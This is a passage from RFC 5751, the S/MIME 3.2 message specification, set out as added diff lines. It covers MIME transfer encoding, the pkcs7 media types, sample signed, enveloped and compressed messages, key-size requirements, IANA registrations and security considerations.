objects + SHOULD use binary encoding as opposed to a 7-bit-safe transfer + encoding for the inner entities. The use of a 7-bit-safe encoding + (such as base64) would unnecessarily expand the message size. + Implementations MAY "know" that recipient implementations are capable + of handling inner binary MIME entities either by interpreting the id- + cap-preferBinaryInside SMIMECapabilities attribute, by prior + agreement, or by other means. + + If one or more intended recipients are unable to handle inner binary + MIME objects, or if this capability is unknown for any of the + intended recipients, S/MIME implementations SHOULD use transfer + encoding described in Section 3.1.3 for all MIME entities they + secure. + +3.1.3. Transfer Encoding for Signing Using multipart/signed + + If a multipart/signed entity is ever to be transmitted over the + standard Internet SMTP infrastructure or other transport that is + constrained to 7-bit text, it MUST have transfer encoding applied so + that it is represented as 7-bit text. MIME entities that are 7-bit + data already need no transfer encoding. Entities such as 8-bit text + and binary data can be encoded with quoted-printable or base-64 + transfer encoding. + + + + + + +Ramsdell & Turner Standards Track [Page 21] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + The primary reason for the 7-bit requirement is that the Internet + mail transport infrastructure cannot guarantee transport of 8-bit or + binary data. Even though many segments of the transport + infrastructure now handle 8-bit and even binary data, it is sometimes + not possible to know whether the transport path is 8-bit clean. If a + mail message with 8-bit data were to encounter a message transfer + agent that cannot transmit 8-bit or binary data, the agent has three + options, none of which are acceptable for a clear-signed message: + + - The agent could change the transfer encoding; this would + invalidate the signature. + + - The agent could transmit the data anyway, which would most likely + result in the 8th bit being corrupted; this too would invalidate + the signature. + + - The agent could return the message to the sender. + + [MIME-SECURE] prohibits an agent from changing the transfer encoding + of the first part of a multipart/signed message. If a compliant + agent that cannot transmit 8-bit or binary data encounters a + multipart/signed message with 8-bit or binary data in the first part, + it would have to return the message to the sender as undeliverable. + +3.1.4. Sample Canonical MIME Entity + + This example shows a multipart/mixed message with full transfer + encoding. This message contains a text part and an attachment. The + sample message text includes characters that are not US-ASCII and + thus need to be transfer encoded. Though not shown here, the end of + each line is . The line ending of the MIME headers, the + text, and the transfer encoded parts, all MUST be . + + Note that this example is not of an S/MIME message. + + Content-Type: multipart/mixed; boundary=bar + + --bar + Content-Type: text/plain; charset=iso-8859-1 + Content-Transfer-Encoding: quoted-printable + + =A1Hola Michael! + + How do you like the new S/MIME specification? + + It's generally a good idea to encode lines that begin with + From=20because some mail transport agents will insert a greater- + than (>) sign, thus invalidating the signature. + + + +Ramsdell & Turner Standards Track [Page 22] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + Also, in some cases it might be desirable to encode any =20 + trailing whitespace that occurs on lines in order to ensure =20 + that the message signature is not invalidated when passing =20 + a gateway that modifies such whitespace (like BITNET). =20 + + --bar + Content-Type: image/jpeg + Content-Transfer-Encoding: base64 + + iQCVAwUBMJrRF2N9oWBghPDJAQE9UQQAtl7LuRVndBjrk4EqYBIb3h5QXIX/LC// + jJV5bNvkZIGPIcEmI5iFd9boEgvpirHtIREEqLQRkYNoBActFBZmh9GC3C041WGq + uMbrbxc+nIs1TIKlA08rVi9ig/2Yh7LFrK5Ein57U/W72vgSxLhe/zhdfolT9Brn + HOxEa44b+EI= + + --bar-- + +3.2. The application/pkcs7-mime Media Type + + The application/pkcs7-mime media type is used to carry CMS content + types including EnvelopedData, SignedData, and CompressedData. The + details of constructing these entities are described in subsequent + sections. This section describes the general characteristics of the + application/pkcs7-mime media type. + + The carried CMS object always contains a MIME entity that is prepared + as described in Section 3.1 if the eContentType is id-data. Other + contents MAY be carried when the eContentType contains different + values. See [ESS] for an example of this with signed receipts. + + Since CMS content types are binary data, in most cases base-64 + transfer encoding is appropriate, in particular, when used with SMTP + transport. The transfer encoding used depends on the transport + through which the object is to be sent, and is not a characteristic + of the media type. + + Note that this discussion refers to the transfer encoding of the CMS + object or "outside" MIME entity. It is completely distinct from, and + unrelated to, the transfer encoding of the MIME entity secured by the + CMS object, the "inside" object, which is described in Section 3.1. + + Because there are several types of application/pkcs7-mime objects, a + sending agent SHOULD do as much as possible to help a receiving agent + know about the contents of the object without forcing the receiving + agent to decode the ASN.1 for the object. The Content-Type header + field of all application/pkcs7-mime objects SHOULD include the + optional "smime-type" parameter, as described in the following + sections. + + + + +Ramsdell & Turner Standards Track [Page 23] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + +3.2.1. The name and filename Parameters + + For the application/pkcs7-mime, sending agents SHOULD emit the + optional "name" parameter to the Content-Type field for compatibility + with older systems. Sending agents SHOULD also emit the optional + Content-Disposition field [CONTDISP] with the "filename" parameter. + If a sending agent emits the above parameters, the value of the + parameters SHOULD be a file name with the appropriate extension: + + Media Type File Extension + application/pkcs7-mime (SignedData, EnvelopedData) .p7m + application/pkcs7-mime (degenerate SignedData .p7c + certificate management message) + application/pkcs7-mime (CompressedData) .p7z + application/pkcs7-signature (SignedData) .p7s + + In addition, the file name SHOULD be limited to eight characters + followed by a three-letter extension. The eight-character filename + base can be any distinct name; the use of the filename base "smime" + SHOULD be used to indicate that the MIME entity is associated with + S/MIME. + + Including a file name serves two purposes. It facilitates easier use + of S/MIME objects as files on disk. It also can convey type + information across gateways. When a MIME entity of type + application/pkcs7-mime (for example) arrives at a gateway that has no + special knowledge of S/MIME, it will default the entity's media type + to application/octet-stream and treat it as a generic attachment, + thus losing the type information. However, the suggested filename + for an attachment is often carried across a gateway. This often + allows the receiving systems to determine the appropriate application + to hand the attachment off to, in this case, a stand-alone S/MIME + processing application. Note that this mechanism is provided as a + convenience for implementations in certain environments. A proper + S/MIME implementation MUST use the media types and MUST NOT rely on + the file extensions. + +3.2.2. The smime-type Parameter + + The application/pkcs7-mime content type defines the optional "smime- + type" parameter. The intent of this parameter is to convey details + about the security applied (signed or enveloped) along with + information about the contained content. This specification defines + the following smime-types. + + + + + + + +Ramsdell & Turner Standards Track [Page 24] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + Name CMS Type Inner Content + enveloped-data EnvelopedData id-data + signed-data SignedData id-data + certs-only SignedData none + compressed-data CompressedData id-data + + In order for consistency to be obtained with future specifications, + the following guidelines SHOULD be followed when assigning a new + smime-type parameter. + + 1. If both signing and encryption can be applied to the content, + then two values for smime-type SHOULD be assigned "signed-*" + and "enveloped-*". If one operation can be assigned, then this + can be omitted. Thus, since "certs-only" can only be signed, + "signed-" is omitted. + + 2. A common string for a content OID SHOULD be assigned. We use + "data" for the id-data content OID when MIME is the inner + content. + + 3. If no common string is assigned, then the common string of + "OID." is recommended (for example, + "OID.2.16.840.1.101.3.4.1.2" would be AES-128 CBC). + + It is explicitly intended that this field be a suitable hint for mail + client applications to indicate whether a message is "signed" or + "enveloped" without having to tunnel into the CMS payload. + +3.3. Creating an Enveloped-Only Message + + This section describes the format for enveloping a MIME entity + without signing it. It is important to note that sending enveloped + but not signed messages does not provide for data integrity. It is + possible to replace ciphertext in such a way that the processed + message will still be valid, but the meaning can be altered. + + Step 1. The MIME entity to be enveloped is prepared according to + Section 3.1. + + Step 2. The MIME entity and other required data is processed into a + CMS object of type EnvelopedData. In addition to encrypting + a copy of the content-encryption key for each recipient, a + copy of the content-encryption key SHOULD be encrypted for + the originator and included in the EnvelopedData (see [CMS], + Section 6). + + Step 3. The EnvelopedData object is wrapped in a CMS ContentInfo + object. + + + +Ramsdell & Turner Standards Track [Page 25] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + Step 4. The ContentInfo object is inserted into an + application/pkcs7-mime MIME entity. + + The smime-type parameter for enveloped-only messages is "enveloped- + data". The file extension for this type of message is ".p7m". + + A sample message would be: + + Content-Type: application/pkcs7-mime; smime-type=enveloped-data; + name=smime.p7m + Content-Transfer-Encoding: base64 + Content-Disposition: attachment; filename=smime.p7m + + rfvbnj756tbBghyHhHUujhJhjH77n8HHGT9HG4VQpfyF467GhIGfHfYT6 + 7n8HHGghyHhHUujhJh4VQpfyF467GhIGfHfYGTrfvbnjT6jH7756tbB9H + f8HHGTrfvhJhjH776tbB9HG4VQbnj7567GhIGfHfYT6ghyHhHUujpfyF4 + 0GhIGfHfQbnj756YT64V + +3.4. Creating a Signed-Only Message + + There are two formats for signed messages defined for S/MIME: + + - application/pkcs7-mime with SignedData. + + - multipart/signed. + + In general, the multipart/signed form is preferred for sending, and + receiving agents MUST be able to handle both. + +3.4.1. Choosing a Format for Signed-Only Messages + + There are no hard-and-fast rules as to when a particular signed-only + format is chosen. It depends on the capabilities of all the + receivers and the relative importance of receivers with S/MIME + facilities being able to verify the signature versus the importance + of receivers without S/MIME software being able to view the message. + + Messages signed using the multipart/signed format can always be + viewed by the receiver whether or not they have S/MIME software. + They can also be viewed whether they are using a MIME-native user + agent or they have messages translated by a gateway. In this + context, "be viewed" means the ability to process the message + essentially as if it were not a signed message, including any other + MIME structure the message might have. + + + + + + + +Ramsdell & Turner Standards Track [Page 26] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + Messages signed using the SignedData format cannot be viewed by a + recipient unless they have S/MIME facilities. However, the + SignedData format protects the message content from being changed by + benign intermediate agents. Such agents might do line wrapping or + content-transfer encoding changes that would break the signature. + +3.4.2. Signing Using application/pkcs7-mime with SignedData + + This signing format uses the application/pkcs7-mime media type. The + steps to create this format are: + + Step 1. The MIME entity is prepared according to Section 3.1. + + Step 2. The MIME entity and other required data are processed into a + CMS object of type SignedData. + + Step 3. The SignedData object is wrapped in a CMS ContentInfo + object. + + Step 4. The ContentInfo object is inserted into an + application/pkcs7-mime MIME entity. + + The smime-type parameter for messages using application/pkcs7-mime + with SignedData is "signed-data". The file extension for this type + of message is ".p7m". + + A sample message would be: + + Content-Type: application/pkcs7-mime; smime-type=signed-data; + name=smime.p7m + Content-Transfer-Encoding: base64 + Content-Disposition: attachment; filename=smime.p7m + + 567GhIGfHfYT6ghyHhHUujpfyF4f8HHGTrfvhJhjH776tbB9HG4VQbnj7 + 77n8HHGT9HG4VQpfyF467GhIGfHfYT6rfvbnj756tbBghyHhHUujhJhjH + HUujhJh4VQpfyF467GhIGfHfYGTrfvbnjT6jH7756tbB9H7n8HHGghyHh + 6YT64V0GhIGfHfQbnj75 + +3.4.3. Signing Using the multipart/signed Format + + This format is a clear-signing format. Recipients without any S/MIME + or CMS processing facilities are able to view the message. It makes + use of the multipart/signed media type described in [MIME-SECURE]. + The multipart/signed media type has two parts. The first part + contains the MIME entity that is signed; the second part contains the + "detached signature" CMS SignedData object in which the + encapContentInfo eContent field is absent. + + + + +Ramsdell & Turner Standards Track [Page 27] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + +3.4.3.1. The application/pkcs7-signature Media Type + + This media type always contains a CMS ContentInfo containing a single + CMS object of type SignedData. The SignedData encapContentInfo + eContent field MUST be absent. The signerInfos field contains the + signatures for the MIME entity. + + The file extension for signed-only messages using application/pkcs7- + signature is ".p7s". + +3.4.3.2. Creating a multipart/signed Message + + Step 1. The MIME entity to be signed is prepared according to + Section 3.1, taking special care for clear-signing. + + Step 2. The MIME entity is presented to CMS processing in order to + obtain an object of type SignedData in which the + encapContentInfo eContent field is absent. + + Step 3. The MIME entity is inserted into the first part of a + multipart/signed message with no processing other than that + described in Section 3.1. + + Step 4. Transfer encoding is applied to the "detached signature" CMS + SignedData object, and it is inserted into a MIME entity of + type application/pkcs7-signature. + + Step 5. The MIME entity of the application/pkcs7-signature is + inserted into the second part of the multipart/signed + entity. + + The multipart/signed Content-Type has two required parameters: the + protocol parameter and the micalg parameter. + + The protocol parameter MUST be "application/pkcs7-signature". Note + that quotation marks are required around the protocol parameter + because MIME requires that the "/" character in the parameter value + MUST be quoted. + + The micalg parameter allows for one-pass processing when the + signature is being verified. The value of the micalg parameter is + dependent on the message digest algorithm(s) used in the calculation + of the Message Integrity Check. If multiple message digest + algorithms are used, they MUST be separated by commas per [MIME- + SECURE]. The values to be placed in the micalg parameter SHOULD be + from the following: + + + + + +Ramsdell & Turner Standards Track [Page 28] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + Algorithm Value Used + + MD5 md5 + SHA-1 sha-1 + SHA-224 sha-224 + SHA-256 sha-256 + SHA-384 sha-384 + SHA-512 sha-512 + Any other (defined separately in algorithm profile or "unknown" + if not defined) + + (Historical note: some early implementations of S/MIME emitted and + expected "rsa-md5", "rsa-sha1", and "sha1" for the micalg parameter.) + Receiving agents SHOULD be able to recover gracefully from a micalg + parameter value that they do not recognize. Future names for this + parameter will be consistent with the IANA "Hash Function Textual + Names" registry. + +3.4.3.3. Sample multipart/signed Message + + Content-Type: multipart/signed; + protocol="application/pkcs7-signature"; + micalg=sha1; boundary=boundary42 + + --boundary42 + Content-Type: text/plain + + This is a clear-signed message. + + --boundary42 + Content-Type: application/pkcs7-signature; name=smime.p7s + Content-Transfer-Encoding: base64 + Content-Disposition: attachment; filename=smime.p7s + + ghyHhHUujhJhjH77n8HHGTrfvbnj756tbB9HG4VQpfyF467GhIGfHfYT6 + 4VQpfyF467GhIGfHfYT6jH77n8HHGghyHhHUujhJh756tbB9HGTrfvbnj + n8HHGTrfvhJhjH776tbB9HG4VQbnj7567GhIGfHfYT6ghyHhHUujpfyF4 + 7GhIGfHfYT64VQbnj756 + + --boundary42-- + + The content that is digested (the first part of the multipart/signed) + consists of the bytes: + + 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 + 6e 0d 0a 0d 0a 54 68 69 73 20 69 73 20 61 20 63 6c 65 61 72 2d 73 69 + 67 6e 65 64 20 6d 65 73 73 61 67 65 2e 0d 0a + + + + +Ramsdell & Turner Standards Track [Page 29] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + +3.5. Creating a Compressed-Only Message + + This section describes the format for compressing a MIME entity. + Please note that versions of S/MIME prior to version 3.1 did not + specify any use of CompressedData, and will not recognize it. The + use of a capability to indicate the ability to receive CompressedData + is described in [CMSCOMPR] and is the preferred method for + compatibility. + + Step 1. The MIME entity to be compressed is prepared according to + Section 3.1. + + Step 2. The MIME entity and other required data are processed into a + CMS object of type CompressedData. + + Step 3. The CompressedData object is wrapped in a CMS ContentInfo + object. + + Step 4. The ContentInfo object is inserted into an + application/pkcs7-mime MIME entity. + + The smime-type parameter for compressed-only messages is "compressed- + data". The file extension for this type of message is ".p7z". + + A sample message would be: + + Content-Type: application/pkcs7-mime; smime-type=compressed-data; + name=smime.p7z + Content-Transfer-Encoding: base64 + Content-Disposition: attachment; filename=smime.p7z + + rfvbnj756tbBghyHhHUujhJhjH77n8HHGT9HG4VQpfyF467GhIGfHfYT6 + 7n8HHGghyHhHUujhJh4VQpfyF467GhIGfHfYGTrfvbnjT6jH7756tbB9H + f8HHGTrfvhJhjH776tbB9HG4VQbnj7567GhIGfHfYT6ghyHhHUujpfyF4 + 0GhIGfHfQbnj756YT64V + +3.6. Multiple Operations + + The signed-only, enveloped-only, and compressed-only MIME formats can + be nested. This works because these formats are all MIME entities + that encapsulate other MIME entities. + + An S/MIME implementation MUST be able to receive and process + arbitrarily nested S/MIME within reasonable resource limits of the + recipient computer. + + + + + + +Ramsdell & Turner Standards Track [Page 30] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + It is possible to apply any of the signing, encrypting, and + compressing operations in any order. It is up to the implementer and + the user to choose. When signing first, the signatories are then + securely obscured by the enveloping. When enveloping first the + signatories are exposed, but it is possible to verify signatures + without removing the enveloping. This can be useful in an + environment where automatic signature verification is desired, as no + private key material is required to verify a signature. + + There are security ramifications to choosing whether to sign first or + encrypt first. A recipient of a message that is encrypted and then + signed can validate that the encrypted block was unaltered, but + cannot determine any relationship between the signer and the + unencrypted contents of the message. A recipient of a message that + is signed then encrypted can assume that the signed message itself + has not been altered, but that a careful attacker could have changed + the unauthenticated portions of the encrypted message. + + When using compression, keep the following guidelines in mind: + + - Compression of binary encoded encrypted data is discouraged, + since it will not yield significant compression. Base64 + encrypted data could very well benefit, however. + + - If a lossy compression algorithm is used with signing, you will + need to compress first, then sign. + +3.7. Creating a Certificate Management Message + + The certificate management message or MIME entity is used to + transport certificates and/or Certificate Revocation Lists, such as + in response to a registration request. + + Step 1. The certificates and/or Certificate Revocation Lists are + made available to the CMS generating process that creates a + CMS object of type SignedData. The SignedData + encapContentInfo eContent field MUST be absent and + signerInfos field MUST be empty. + + Step 2. The SignedData object is wrapped in a CMS ContentInfo + object. + + Step 3. The ContentInfo object is enclosed in an + application/pkcs7-mime MIME entity. + + The smime-type parameter for a certificate management message is + "certs-only". The file extension for this type of message is ".p7c". + + + + +Ramsdell & Turner Standards Track [Page 31] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + +3.8. Registration Requests + + A sending agent that signs messages MUST have a certificate for the + signature so that a receiving agent can verify the signature. There + are many ways of getting certificates, such as through an exchange + with a certification authority, through a hardware token or diskette, + and so on. + + S/MIME v2 [SMIMEv2] specified a method for "registering" public keys + with certificate authorities using an application/pkcs10 body part. + Since that time, the IETF PKIX Working Group has developed other + methods for requesting certificates. However, S/MIME v3.2 does not + require a particular certificate request mechanism. + +3.9. Identifying an S/MIME Message + + Because S/MIME takes into account interoperation in non-MIME + environments, several different mechanisms are employed to carry the + type information, and it becomes a bit difficult to identify S/MIME + messages. The following table lists criteria for determining whether + or not a message is an S/MIME message. A message is considered an + S/MIME message if it matches any of the criteria listed below. + + The file suffix in the table below comes from the "name" parameter in + the Content-Type header field, or the "filename" parameter on the + Content-Disposition header field. These parameters that give the + file suffix are not listed below as part of the parameter section. + + Media type: application/pkcs7-mime + parameters: any + file suffix: any + + Media type: multipart/signed + parameters: protocol="application/pkcs7-signature" + file suffix: any + + Media type: application/octet-stream + parameters: any + file suffix: p7m, p7s, p7c, p7z + +4. Certificate Processing + + A receiving agent MUST provide some certificate retrieval mechanism + in order to gain access to certificates for recipients of digital + envelopes. This specification does not cover how S/MIME agents + handle certificates, only what they do after a certificate has been + validated or rejected. S/MIME certificate issues are covered in + [CERT32]. + + + +Ramsdell & Turner Standards Track [Page 32] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + At a minimum, for initial S/MIME deployment, a user agent could + automatically generate a message to an intended recipient requesting + that recipient's certificate in a signed return message. Receiving + and sending agents SHOULD also provide a mechanism to allow a user to + "store and protect" certificates for correspondents in such a way so + as to guarantee their later retrieval. + +4.1. Key Pair Generation + + All generated key pairs MUST be generated from a good source of non- + deterministic random input [RANDOM] and the private key MUST be + protected in a secure fashion. + + An S/MIME user agent MUST NOT generate asymmetric keys less than 512 + bits for use with the RSA or DSA signature algorithms. + + For 512-bit RSA with SHA-1 see [CMSALG] and [FIPS186-2] without + Change Notice 1, for 512-bit RSA with SHA-256 see [CMS-SHA2] and + [FIPS186-2] without Change Notice 1, and for 1024-bit through + 2048-bit RSA with SHA-256 see [CMS-SHA2] and [FIPS186-2] with Change + Notice 1. The first reference provides the signature algorithm's + object identifier, and the second provides the signature algorithm's + definition. + + For 512-bit DSA with SHA-1 see [CMSALG] and [FIPS186-2] without + Change Notice 1, for 512-bit DSA with SHA-256 see [CMS-SHA2] and + [FIPS186-2] without Change Notice 1, for 1024-bit DSA with SHA-1 see + [CMSALG] and [FIPS186-2] with Change Notice 1, for 1024-bit and above + DSA with SHA-256 see [CMS-SHA2] and [FIPS186-3]. The first reference + provides the signature algorithm's object identifier and the second + provides the signature algorithm's definition. + + For RSASSA-PSS with SHA-256, see [RSAPSS]. For 1024-bit DH, see + [CMSALG]. For 1024-bit and larger DH, see [SP800-56A]; regardless, + use the KDF, which is from X9.42, specified in [CMSALG]. For RSAES- + OAEP, see [RSAOAEP]. + +4.2. Signature Generation + + The following are the requirements for an S/MIME agent generated RSA, + RSASSA-PSS, and DSA signatures: + + key size <= 1023 : SHOULD NOT (see Security Considerations) + 1024 <= key size <= 2048 : SHOULD (see Security Considerations) + 2048 < key size : MAY (see Security Considerations) + + + + + + +Ramsdell & Turner Standards Track [Page 33] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + +4.3. Signature Verification + + The following are the requirements for S/MIME receiving agents during + signature verification of RSA, RSASSA-PSS, and DSA signatures: + + key size <= 1023 : MAY (see Security Considerations) + 1024 <= key size <= 2048 : MUST (see Security Considerations) + 2048 < key size : MAY (see Security Considerations) + +4.4. Encryption + + The following are the requirements for an S/MIME agent when + establishing keys for content encryption using the RSA, RSA-OAEP, and + DH algorithms: + + key size <= 1023 : SHOULD NOT (see Security Considerations) + 1024 <= key size <= 2048 : SHOULD (see Security Considerations) + 2048 < key size : MAY (see Security Considerations) + +4.5. Decryption + + The following are the requirements for an S/MIME agent when + establishing keys for content decryption using the RSA, RSAES-OAEP, + and DH algorithms: + + key size <= 1023 : MAY (see Security Considerations) + 1024 <= key size <= 2048 : MUST (see Security Considerations) + 2048 < key size : MAY (see Security Considerations) + +5. IANA Considerations + + The following information updates the media type registration for + application/pkcs7-mime and application/pkcs7-signature to refer to + this document as opposed to RFC 2311. + + Note that other documents can define additional MIME media types for + S/MIME. + +5.1. Media Type for application/pkcs7-mime + + Type name: application + + Subtype Name: pkcs7-mime + + Required Parameters: NONE + + + + + + +Ramsdell & Turner Standards Track [Page 34] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + Optional Parameters: smime-type/signed-data + smime-type/enveloped-data + smime-type/compressed-data + smime-type/certs-only + name + + Encoding Considerations: See Section 3 of this document + + Security Considerations: See Section 6 of this document + + Interoperability Considerations: See Sections 1-6 of this document + + Published Specification: RFC 2311, RFC 2633, and this document + + Applications that use this media type: Security applications + + Additional information: NONE + + Person & email to contact for further information: + S/MIME working group chairs smime-chairs@tools.ietf.org + + Intended usage: COMMON + + Restrictions on usage: NONE + + Author: Sean Turner + + Change Controller: S/MIME working group delegated from the IESG + +5.2. Media Type for application/pkcs7-signature + + Type name: application + + Subtype Name: pkcs7-signature + + Required Parameters: NONE + + Optional Parameters: NONE + + Encoding Considerations: See Section 3 of this document + + Security Considerations: See Section 6 of this document + + Interoperability Considerations: See Sections 1-6 of this document + + Published Specification: RFC 2311, RFC 2633, and this document + + Applications that use this media type: Security applications + + + +Ramsdell & Turner Standards Track [Page 35] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + Additional information: NONE + + Person & email to contact for further information: + S/MIME working group chairs smime-chairs@tools.ietf.org + + Intended usage: COMMON + + Restrictions on usage: NONE + + Author: Sean Turner + + Change Controller: S/MIME working group delegated from the IESG + +6. Security Considerations + + Cryptographic algorithms will be broken or weakened over time. + Implementers and users need to check that the cryptographic + algorithms listed in this document continue to provide the expected + level of security. The IETF from time to time may issue documents + dealing with the current state of the art. For example: + + - The Million Message Attack described in RFC 3218 [MMA]. + + - The Diffie-Hellman "small-subgroup" attacks described in RFC + 2785 [DHSUB]. + + - The attacks against hash algorithms described in RFC 4270 [HASH- + ATTACK]. + + This specification uses Public-Key Cryptography technologies. It is + assumed that the private key is protected to ensure that it is not + accessed or altered by unauthorized parties. + + It is impossible for most people or software to estimate the value of + a message's content. Further, it is impossible for most people or + software to estimate the actual cost of recovering an encrypted + message content that is encrypted with a key of a particular size. + Further, it is quite difficult to determine the cost of a failed + decryption if a recipient cannot process a message's content. Thus, + choosing between different key sizes (or choosing whether to just use + plaintext) is also impossible for most people or software. However, + decisions based on these criteria are made all the time, and + therefore this specification gives a framework for using those + estimates in choosing algorithms. + + The choice of 2048 bits as the RSA asymmetric key size in this + specification is based on the desire to provide at least 100 bits of + security. The key sizes that must be supported to conform to this + + + +Ramsdell & Turner Standards Track [Page 36] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + specification seem appropriate for the Internet based on [STRENGTH]. + Of course, there are environments, such as financial and medical + systems, that may select different key sizes. For this reason, an + implementation MAY support key sizes beyond those recommended in this + specification. + + Receiving agents that validate signatures and sending agents that + encrypt messages need to be cautious of cryptographic processing + usage when validating signatures and encrypting messages using keys + larger than those mandated in this specification. An attacker could + send certificates with keys that would result in excessive + cryptographic processing, for example, keys larger than those + mandated in this specification, which could swamp the processing + element. Agents that use such keys without first validating the + certificate to a trust anchor are advised to have some sort of + cryptographic resource management system to prevent such attacks. + + Using weak cryptography in S/MIME offers little actual security over + sending plaintext. However, other features of S/MIME, such as the + specification of AES and the ability to announce stronger + cryptographic capabilities to parties with whom you communicate, + allow senders to create messages that use strong encryption. Using + weak cryptography is never recommended unless the only alternative is + no cryptography. + + RSA and DSA keys of less than 1024 bits are now considered by many + experts to be cryptographically insecure (due to advances in + computing power), and should no longer be used to protect messages. + Such keys were previously considered secure, so processing previously + received signed and encrypted mail will often result in the use of + weak keys. Implementations that wish to support previous versions of + S/MIME or process old messages need to consider the security risks + that result from smaller key sizes (e.g., spoofed messages) versus + the costs of denial of service. If an implementation supports + verification of digital signatures generated with RSA and DSA keys of + less than 1024 bits, it MUST warn the user. Implementers should + consider providing different warnings for newly received messages and + previously stored messages. Server implementations (e.g., secure + mail list servers) where user warnings are not appropriate SHOULD + reject messages with weak signatures. + + Implementers SHOULD be aware that multiple active key pairs can be + associated with a single individual. For example, one key pair can + be used to support confidentiality, while a different key pair can be + used for digital signatures. + + + + + + +Ramsdell & Turner Standards Track [Page 37] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + If a sending agent is sending the same message using different + strengths of cryptography, an attacker watching the communications + channel might be able to determine the contents of the strongly + encrypted message by decrypting the weakly encrypted version. In + other words, a sender SHOULD NOT send a copy of a message using + weaker cryptography than they would use for the original of the + message. + + Modification of the ciphertext can go undetected if authentication is + not also used, which is the case when sending EnvelopedData without + wrapping it in SignedData or enclosing SignedData within it. + + If an implementation is concerned about compliance with National + Institute of Standards and Technology (NIST) key size + recommendations, then see [SP800-57]. + + If messaging environments make use of the fact that a message is + signed to change the behavior of message processing (examples would + be running rules or UI display hints), without first verifying that + the message is actually signed and knowing the state of the + signature, this can lead to incorrect handling of the message. + Visual indicators on messages may need to have the signature + validation code checked periodically if the indicator is supposed to + give information on the current status of a message. + +7. References + +7.1. Reference Conventions + + [CMS] refers to [RFC5652]. + + [ESS] refers to [RFC2634] and [RFC5035]. + + [MIME] refers to [RFC2045], [RFC2046], [RFC2047], [RFC2049], + [RFC4288], and [RFC4289]. + + [SMIMEv2] refers to [RFC2311], [RFC2312], [RFC2313], [RFC2314], and + [RFC2315]. + + [SMIMEv3] refers to [RFC2630], [RFC2631], [RFC2632], [RFC2633], + [RFC2634], and [RFC5035]. + + [SMIMv3.1] refers to [RFC2634], [RFC3850], [RFC3851], [RFC3852], and + [RFC5035]. + + + + + + + +Ramsdell & Turner Standards Track [Page 38] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + +7.2. Normative References + + [CERT32] Ramsdell, B. and S. Turner, "Secure/Multipurpose + Internet Mail Extensions (S/MIME) Version 3.2 + Certificate Handling", RFC 5750, January 2010. + + [CHARSETS] Character sets assigned by IANA. See + http://www.iana.org/assignments/character-sets. + + [CMSAES] Schaad, J., "Use of the Advanced Encryption Standard + (AES) Encryption Algorithm in Cryptographic Message + Syntax (CMS)", RFC 3565, July 2003. + + [CMSALG] Housley, R., "Cryptographic Message Syntax (CMS) + Algorithms", RFC 3370, August 2002. + + [CMSCOMPR] Gutmann, P., "Compressed Data Content Type for + Cryptographic Message Syntax (CMS)", RFC 3274, June + 2002. + + [CMS-SHA2] Turner, S., "Using SHA2 Algorithms with Cryptographic + Message Syntax", RFC 5754, January 2010. + + [CONTDISP] Troost, R., Dorner, S., and K. Moore, Ed., + "Communicating Presentation Information in Internet + Messages: The Content-Disposition Header Field", RFC + 2183, August 1997. + + [FIPS186-2] National Institute of Standards and Technology (NIST), + "Digital Signature Standard (DSS)", FIPS Publication + 186-2, January 2000. [With Change Notice 1]. + + [FIPS186-3] National Institute of Standards and Technology (NIST), + FIPS Publication 186-3: Digital Signature Standard, + June 2009. + + [MIME-SECURE] Galvin, J., Murphy, S., Crocker, S., and N. Freed, + "Security Multiparts for MIME: Multipart/Signed and + Multipart/Encrypted", RFC 1847, October 1995. + + [MUSTSHOULD] Bradner, S., "Key words for use in RFCs to Indicate + Requirement Levels", BCP 14, RFC 2119, March 1997. + + [RANDOM] Eastlake, D., 3rd, Schiller, J., and S. Crocker, + "Randomness Requirements for Security", BCP 106, RFC + 4086, June 2005. + + + + + +Ramsdell & Turner Standards Track [Page 39] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + [RFC2045] Freed, N. and N. Borenstein, "Multipurpose Internet + Mail Extensions (MIME) Part One: Format of Internet + Message Bodies", RFC 2045, November 1996. + + [RFC2046] Freed, N. and N. Borenstein, "Multipurpose Internet + Mail Extensions (MIME) Part Two: Media Types", RFC + 2046, November 1996. + + [RFC2047] Moore, K., "MIME (Multipurpose Internet Mail + Extensions) Part Three: Message Header Extensions for + Non-ASCII Text", RFC 2047, November 1996. + + [RFC2049] Freed, N. and N. Borenstein, "Multipurpose Internet + Mail Extensions (MIME) Part Five: Conformance Criteria + and Examples", RFC 2049, November 1996. + + [RFC2634] Hoffman, P. Ed., "Enhanced Security Services for + S/MIME", RFC 2634, June 1999. + + [RFC4288] Freed, N. and J. Klensin, "Media Type Specifications + and Registration Procedures", BCP 13, RFC 4288, + December 2005. + + [RFC4289] Freed, N. and J. Klensin, "Multipurpose Internet Mail + Extensions (MIME) Part Four: Registration Procedures", + BCP 13, RFC 4289, December 2005. + + [RFC5035] Schaad, J., "Enhanced Security Services (ESS) Update: + Adding CertID Algorithm Agility", RFC 5035, August + 2007. + + [RFC5652] Housley, R., "Cryptographic Message Syntax (CMS)", RFC + 5652, September 2009. + + [RSAOAEP] Housley, R. "Use of the RSAES-OAEP Key Transport + Algorithm in the Cryptographic Message Syntax (CMS)", + RFC 3560, July 2003. + + [RSAPSS] Schaad, J., "Use of the RSASSA-PSS Signature Algorithm + in Cryptographic Message Syntax (CMS)", RFC 4056, June + 2005. + + [SP800-56A] National Institute of Standards and Technology (NIST), + Special Publication 800-56A: Recommendation Pair-Wise + 